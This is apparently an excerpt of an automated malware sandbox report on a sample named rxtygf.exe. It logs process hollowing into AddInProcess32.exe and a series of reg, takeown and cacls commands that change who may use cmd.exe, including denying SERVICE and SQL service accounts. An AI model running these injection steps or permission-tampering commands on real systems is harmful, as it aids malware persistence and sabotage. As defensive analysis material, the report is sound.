NtResumeThread July 18, 2023, 7:17 a.m.	thread_handle: 0x000003f8 suspend_count: 1 process_identifier: 1680	1	0
NtResumeThread July 18, 2023, 7:17 a.m.	thread_handle: 0x000004c0 suspend_count: 1 process_identifier: 1680	1	0
CreateProcessInternalW July 18, 2023, 7:17 a.m.	thread_identifier: 7496 thread_handle: 0x000004d4 process_identifier: 7492 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe track: 1 command_line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000004d8	1	1
NtGetContextThread July 18, 2023, 7:17 a.m.	thread_handle: 0x000004d4	1	0
NtAllocateVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 7492 region_size: 176128 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000004d8	1	0
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ôG2°&va°&va°&vaëNu`º&vaëNs`(&vaLs`&vaLr`¡&vaLu`¤&vaëNq`±&vaëNr`£&vaëNw`£&va°&wa &vaÄM~`½&vaÄMa±&vaÄMt`±&vaRich°&vaPELYOdà\|ü§@°@ÈàÌ@8x@Ð.textôz\| `.rdata\@@.dataPK0@À.rsrcà&@@.relocÌ(@B base_address: 0x00400000 process_identifier: 7492 process_handle: 0x000004d8	1	1
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: base_address: 0x00401000 process_identifier: 7492 process_handle: 0x000004d8	1	1
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: base_address: 0x00419000 process_identifier: 7492 process_handle: 0x000004d8	1	1
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: base_address: 0x00423000 process_identifier: 7492 process_handle: 0x000004d8	1	1
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: 0 H`}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00428000 process_identifier: 7492 process_handle: 0x000004d8	1	1
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: base_address: 0x00429000 process_identifier: 7492 process_handle: 0x000004d8	1	1
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 7492 process_handle: 0x000004d8	1	1
NtSetContextThread July 18, 2023, 7:18 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4232103 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000004d4 process_identifier: 7492	1	0
NtResumeThread July 18, 2023, 7:18 a.m.	thread_handle: 0x000004d4 suspend_count: 1 process_identifier: 7492	1	0
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2532 thread_handle: 0x00000088 process_identifier: 2528 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\reg.exe track: 1 command_line: reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f filepath_r: C:\Windows\system32\reg.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2576 thread_handle: 0x00000084 process_identifier: 2572 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\takeown.exe track: 1 command_line: takeown /f C:\Windows\system32\cmd.exe /a filepath_r: C:\Windows\system32\takeown.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000088	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2624 thread_handle: 0x0000008c process_identifier: 2620 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2660 thread_handle: 0x00000084 process_identifier: 2656 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\system32\cmd.exe /g Administrators:f filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2716 thread_handle: 0x00000094 process_identifier: 2712 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2752 thread_handle: 0x0000008c process_identifier: 2748 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\system32\cmd.exe /e /g Users:r filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2808 thread_handle: 0x00000084 process_identifier: 2804 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2844 thread_handle: 0x00000094 process_identifier: 2840 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\system32\cmd.exe /e /g Administrators:r filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2904 thread_handle: 0x0000008c process_identifier: 2900 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2940 thread_handle: 0x00000084 process_identifier: 2936 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\system32\cmd.exe /e /d SERVICE filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2996 thread_handle: 0x00000094 process_identifier: 2992 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 3032 thread_handle: 0x0000008c process_identifier: 3028 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\system32\cmd.exe /e /d mssqlserver filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2124 thread_handle: 0x00000084 process_identifier: 2116 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo Y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2140 thread_handle: 0x00000094 process_identifier: 1156 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\system32\cmd.exe /e /d "network service" filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2432 thread_handle: 0x0000008c process_identifier: 2420 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2512 thread_handle: 0x00000084 process_identifier: 2500 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\system32\cmd.exe /e /g system:r filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2568 thread_handle: 0x00000094 process_identifier: 2560 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo Y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2612 thread_handle: 0x0000008c process_identifier: 2616 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2652 thread_handle: 0x00000094 process_identifier: 2648 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\takeown.exe track: 1 command_line: takeown /f C:\Windows\SysWOW64\cmd.exe /a filepath_r: C:\Windows\system32\takeown.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2660 thread_handle: 0x00000094 process_identifier: 2704 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2784 thread_handle: 0x00000084 process_identifier: 2764 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\SysWOW64\cmd.exe /g Administrators:f filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2856 thread_handle: 0x00000090 process_identifier: 2860 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2916 thread_handle: 0x00000094 process_identifier: 2920 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\SysWOW64\cmd.exe /e /g Users:r filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2984 thread_handle: 0x00000084 process_identifier: 2988 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 3044 thread_handle: 0x00000090 process_identifier: 3048 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 880 thread_handle: 0x00000094 process_identifier: 948 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2376 thread_handle: 0x00000084 process_identifier: 2404 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\SysWOW64\cmd.exe /e /d SERVICE filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2556 thread_handle: 0x00000090 process_identifier: 2432 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 1188 thread_handle: 0x00000094 process_identifier: 416 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cacls.exe track: 1 command_line: cacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1

rxtygf.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All